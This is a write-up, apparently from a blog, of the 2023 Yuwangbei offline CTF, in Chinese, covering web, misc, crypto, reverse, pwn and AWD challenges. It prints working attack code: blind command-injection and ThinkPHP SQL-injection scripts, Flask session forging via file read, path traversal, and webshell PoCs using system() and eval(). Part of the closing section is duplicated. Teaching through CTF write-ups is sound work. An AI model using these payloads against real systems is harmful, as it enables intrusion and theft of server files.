2023御网杯线下
CTF
web
commonskill
1.查看网页源码,发现给出提示read?url=
2.进行常见web框架测试后,发现是flask框架,访问http://127.0.0.1/read?url=/app/main.py可读到源码
3.进行代码审计,发现’SECRET_KEY’字段是根据服务器的MAC地址生成的,查看flag需要admin权限
4.访问http://123.59.204.3:1111/read?url=/sys/class/net/eth0/address可获取到服务器的mac地址
5.将得到的源码进行排版,将得到的mac地址去除冒号后转为10进制,替换random.seed随机数种子,代码如下。
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(2485378023426)
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'admin'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('http://123.59.204.3:1111')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'admin':
return open('/flag').read()
else:
return 'Access denied'
if __name__ == "__main__":
app.run()
6.本地安装flask后,在本地启动代码,可获取到admin权限的session
7.用这个session访问http://127.0.0.1/flag,可得到flag
easyweb
构造脚本文件并执行后获取flag结果
#!/usr/bin/env python3
import requests
def get_flag(addr, result=""):
for x in range(39):
for i in range(0x1f, 0x7f):
if post(addr, x, chr(i)):
result += chr(i)
print(result)
def post(addr, pos, payload):
data = {
"cmd": "[ `cut -c %d /flag.txt` = '%s' ] && sleep 2" % (pos, payload)
}
try:
#元组 timeout=(5, 1) ,第一个值为 connect连接超时时间,第二个值为 read 读取超时时间
requests.post("http://%s/" % addr, data, timeout=(5, 1))
except requests.exceptions.ReadTimeout:
return True
return False
if __name__ == '__main__':
get_flag("10.43.161.218:8004")
注意事项:
不可有外网访问权限(TCP/UDP都不能出)
flag文件放置在 /flag.txt
shop
访问目标网站后,首先注册一个登录账号
使用所注册账号进行登录
登录后可以看到home与info页面,home页面中可以看到flag需要兑换才能得到,info页面中可以看到当前用户的相关信息,其中赠送了20元余额
直接点击兑换flag,提示你的watermelon还不够多
输入数量,批量兑换watermelon,当输入非数字与负数时提示兑换数目非法,继续尝试正数发现当输入在0-18446744073709551615时,提示一个也换不起,不要尝试了,当大于18446744073709551615时,提示兑换数目非法,即输入范围需要在uint64范围内
点击购买apple,提示成功购买一个,点击4次后兑换了4个,余额为0,无法继续兑换,而兑换watermelon需要5个apple,兑换0个时也提示一个也换不起,不要兑换了,所以考虑至少拥有5个apple才允许进行兑换操作
余额最多只有20,结合此处的购买场景,考虑竞态条件漏洞,于是注册新的账号,burp拦截购买请求后,使用Intruder进行并发请求(Payload type:Null payloads)
长度为162的即为请求成功,而这样的请求远远超过了4个,查看info页面,发现余额为0,apple数目为13,此时兑换watermelon可以兑换成功,并且兑换0个时提示成功兑换0个
之前brup拦截时发现Cookie: go_iris_cookie=727c0799-97b8-43a9-bcd2-995ab93a5739; 搜索go_iris,可知web服务使用go语言的iris框架写的,而go语言是强类型的,也就解释了为什么输入范围控制在uint64范围内,因为输入数目为0时也成功兑换,推测服务器判断是否允许兑换时执行watermelon* 5 <= apple数目 并且number为uint64类型,所以考虑存在uint64溢出问题
使用python计算number值
>>> watermelon = (2 ** 64 - 1) // 5 + 1
>>> watermelon
3689348814741910324
>>> watermelon * 5 % (2 ** 64)
4
即当输入3689348814741910324时,溢出了uint64,此时只要apple数目大于等于4即可兑换成功。
此时再返回info页面查看watermelon数量
到此为止,watermelon的数量就已经远大于9999999,所以可以直接兑换获取flag
文件读取
首先注册一个账号,
初始金额1000
发现注册功能没有要求验证码,写脚本通过推荐人奖励刷钱
脚本如register.py
购买flag的hint
结合回应包
得知是Tornado配置不当导致的文件读取漏洞
Payload为127.0.0.1/static/…/static-flag
报403错误
说明文件夹存在,思路正确接着猜flag.py文件名
文件存在但提示内容已被删除
于是读取flag.pyc文件 并逆向出真正的flag.py
逆向pyc结果
Flag.py运行结果为
b3bc72223d70dc78c93e4c2e799a5d3c
最后读取static-flag/b3bc72223d70dc78c93e4c2e799a5d3c即可得到flag
misc
Badimage
发现是一个镜像文件
尝试进行挂载,通过挂载镜像,查看内容
lost+found这个目录是储存发生意外后丢失的文件的。只有root用户才能打开
看下TODO.me内容吧:
尝试恢复被删除的文件
接着我们使用 Kali 里面自带的 extundelete 来查看一下 DR 磁盘中是被删除的文件
有那些,从下图中可以看到被删除的文件中有一个 Flag.txt
extundelete DR –-inode 2
接着我们使用 extundelete 工具直接将 Flag.txt 文件恢复出来
使用命令:
extundelete badimages –restore-file Flag.txt
执行命令后,会在当前目录下生成一个 RECOVERED_FILES 文件夹,查看文件夹 后 会
发 现 Flag.txt 文 件 已 被 恢 复 出 来 , 直 接 查 看 Flag.txt 文 件 后 获
得 Flag 值 :
color
打开color.txt 发现很多(255,255,255),RGB颜色模式种ffffff是白色
很容易就想到这是像素点,txt文件中有很多这样的像素点,那我们尝试将像素点合成为500x500的图片,脚本如下(要安装PIL模块,exp.py需要和color.txt在同一文件夹下)
from PIL import Image
x = 500
y = 500
im = Image.new("RGB",(x, y))
file = open("./color.txt","r")
for i in range(x):
for j in range(y):
line = file.readline()
rgb = list(line.split(","))
im.putpixel((i,j),(int(rgb[0].strip("(")), int(rgb[1].strip(" ").strip("(")), int(rgb[2].strip("\n").strip(" ").strip(")"))))
im.show()
crypto
不安全的公钥
根据题设给的pem公钥文件提取出n和e
使用费马分解得到p和q,进行rsa解密,得到gkce~ow]dDyYsg|]{<}jtcsq
因为flag格式为flag{**********},将字符串前5位和flag{进行比较,发现是一个变种的凯撒,编写脚本
xor4
异或是对两个运算元的一种逻辑分析类型,符号为XOR或EOR。与一般的逻辑或OR不同,当两两数值相同为否,而数值不同时为真。异或密码(simple XOR cipher)是密码学中一种简单的加密算法,是指对信息进行异或操作来达到加密和解密目的。按这种逻辑,文本串行的每个字符可以通过与给定的密钥进行按位异或运算来加密。如果要解密,只需要将加密后的结果与密钥再次进行按位异或运算即可。
本题对flag中的每一个字符都异或上了同一个数字k,进行加密。
明文中的所有字符,都和同一个密钥k进行了异或。
因此,只需要穷举出256钟可能的k,然后尝试去异或解密,如果解密出来的字符串中含有“flag”,则说明解密成功。
exp如下:
with open("cipher", "r") as f:
cipher = f.read()
for k in range(0, 256):
msg = ""
for c in cipher:
msg += chr(ord(c) ^ k)
if "flag" in msg:
print(msg)
break
# flag{c30dd6b038a35f88830c52ed3b67c81f}
https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(1,100,0,'Standard',false,true,false,'')&input=X1VYXkJaCgldXQ9bCRQKAVgKFAxfAQEUAQoJWhQMC1xdClsPDloBCF9E
reverse
easyC
附件由C#编写的程序
PE32
没有混淆
直接使用工具
查看按键事件
然后从Form1中找到函数
private void button1_Click(object sender, EventArgs e)
{
int a_ = 2;
int[] array = new int[]{123,148,62,53,24,116,244,126,63,90};
string text = ((TextBox)base.Controls.Find(Form1.b("戕紗戙栛尝伟娡ᔣ", a_), false)[0]).Text;
int[] array2 = new int[10];
int[] array3 = new int[10];
if (text.Length == 10)
{
for (int i = 0; i < text.Length; i++)
{
array2[i] = (int)text[i];
byte b = (byte)(array2[i] & 7);
byte b2 = (byte)(array2[i] >> 3 & 255);
array3[i] = ((int)b << 5 | (int)b2);
array3[i] ^= 18;
if (array3[i] != array[i])
{
MessageBox.Show(Form1.b("䄕樗甙爛礝ğ", a_));
return;
}
}
MessageBox.Show(Form1.b("䔕洗礙缛笝匟儡ԣ", a_));
return;
}
MessageBox.Show(Form1.b("䄕樗甙爛礝ğ", a_));
}
进行判断点if (array3[i] != array[i])
脚本如下
a=[123,148,62,53,24,116,244,126,63,90]
flag=[]
for x in a:
for s in range(0x20,0x80):
tmp1=s&7
tmp2=(s>>3)&0xff
tmp3=(tmp1<<5)|tmp2
if(x==(tmp3^18)):
flag.append(s)
print(''.join([chr(x) for x in flag]))
pwn
num_bss
可以看到程序没有检查下标v4,导致可以输入任意值溢出,num处于bss段,程序的got表就在附近,所有可以通过got表和num之间的偏移,读取改写got表(got表是存储外部引用函数地址的位置),先读取got表获取libc地址,再覆盖成onegadget即可
工具清单:pwntools,python2
环境为ubuntu 18
Gcc version 10.3
编译命令 gcc num_bss.c -no-pie -z lazy -o num_bss
rev-pwn
使用IDA pro分析子函数运行流程。函数main开启的子进程执行的函数是cmd_process。该函数逻辑较为简单,该函数调用proc_cmd函数则比较复杂,是分析的重点,其中输入“DIR”命令时是关键。输入该命令在一个调用strtok函数时有发生错误的机会,但并不需要利用这一漏洞。只要逆向得当,就可以知道本指令的正确用法,“DIR xxx ”,最后的空格不能省略,否则会引起段错误。
输入DIR命令后我们不知道显示出来的到底是普通文件还是目录,看到了“flag.txt”,开脑洞假设它是一个目录,去查看它里面的内容,因此输入“DIR flag.txt ”,得到了flag
AWD
waimai
首页webshell
编辑器过滤不严
编辑器页面未进行权限校验,并且存在上传漏洞,上传地址swf不能使用,可构造上传表单
<html>
<body>
<form action="http://localhost/Public/ueditor/php/imageUp.php" method="post" enctype="multipart/form-data">
<label for="pictitle">pictitle:</label><input type="text" name="pictitle" id="pictitle" />
<br />
<label for="dir">dir:</label><input type="text" name="dir" id="dir" />
<br />
<label for="file">Filename:</label><input type="file" name="upfile" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
dir选择输入 upload2或upload3 上传phtml文件即可
前台盲注-有脚本
网站基于thinkphp3.1.3,存在注入问题
获取flag exp
#!/usr/bin/bash
#coding:utf-8
import requests
import string
password = ''
string_list = string.letters + string.digits + '{' + '}' + '_'
url = "http://localhost"
prefix = "/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20load_file(%27/flag%27)),1,"
payload = ")=%27"
suffix = "%27%20--%20&id[2]=exp"
for i in range(100):
is_found = False
for s in string_list:
final_url = url + prefix + str(i+1) + payload + password + s + suffix
res = requests.get(final_url)
if '<img src=""' not in res.content:
password += s
is_found = True
continue
if not is_found:
break
print password
Web-2-A_flatcore
代码审计、代码执行漏洞、弱口令漏洞、文件上传漏洞、文件读取漏洞
第一处(远程命令执行):
在网站根目录下的license.php中存在命令执行后门,后门代码如下。
源码为一个经典的一句话,构造的poc如下。
import requests
url = "http://10.43.202.43/license.php"
data = {
"hack" : "system('curl 平台地址');"
}
r=requests.post(url,data=data)
print(r.text)
修复方案:
删除license.php中的后门代码。
第二处(弱密码):
在管理员后台登陆页面acp/index.php存在弱密码,账号密码为admin:admin123456。
修复方案:
将管理员密码修改为强密码。
第三处(文件读取):
在core/password.php中存在文件读取,文件读取代码如下。
在POST获取到ask_for_psw的值后,会将/flag的内容使用file_get_contents()读取到字符串中,使用echo输出。构造的poc如下。
import requests
url = "http://10.43.202.43/core/password.php"
data = {
"ask_for_psw" : "whoami"
}
r=requests.post(url,data=data)
print(r.text)
修复方案:
将password.php中的echo system($_POST[‘ask_for_psw’]);删除。
第四处(文件上传):
漏洞页面位于http://10.43.202.43/acp/acp.php?tn=moduls&sub=u,但是要对此漏洞进行利用,需要结合第二处中的弱密码,然后需要构建一句话木马进行上传。
PLUGIN、MODULE、THEME均可上传,这里进行上传的为PLUGIN。
然后构造url为http://10.43.202.43/upload/plugins/shell.php?cmd=system(‘id’);,执行结果如下。
修复方案:
配合第二处漏洞,将管理员密码修改为强密码。
第五处(命令执行):
在网站根目录的config.php中存在命令执行后门,后门代码如下。
此时会对x的值进行处理过滤,需要进行绕过,构造的poc如下。
import requests
url = "http://10.43.51.238/config.php"
data = {
"x":"1{${eval($_POST[2])}}1",
"2":"system('id');"
}
r=requests.post(url,data=data)
print(r.text)
执行结果:
修复方案:
N。
[外链图片转存中…(img-r7MKDkfp-1715155408854)]
然后构造url为http://10.43.202.43/upload/plugins/shell.php?cmd=system(‘id’);,执行结果如下。
[外链图片转存中…(img-nKFIG0e9-1715155408854)]
修复方案:
配合第二处漏洞,将管理员密码修改为强密码。
第五处(命令执行):
在网站根目录的config.php中存在命令执行后门,后门代码如下。
[外链图片转存中…(img-weXKItHZ-1715155408854)]
此时会对x的值进行处理过滤,需要进行绕过,构造的poc如下。
import requests
url = "http://10.43.51.238/config.php"
data = {
"x":"1{${eval($_POST[2])}}1",
"2":"system('id');"
}
r=requests.post(url,data=data)
print(r.text)
执行结果:
[外链图片转存中…(img-Rgn8x5qx-1715155408854)]
修复方案:
将config.php中的后门代码删除。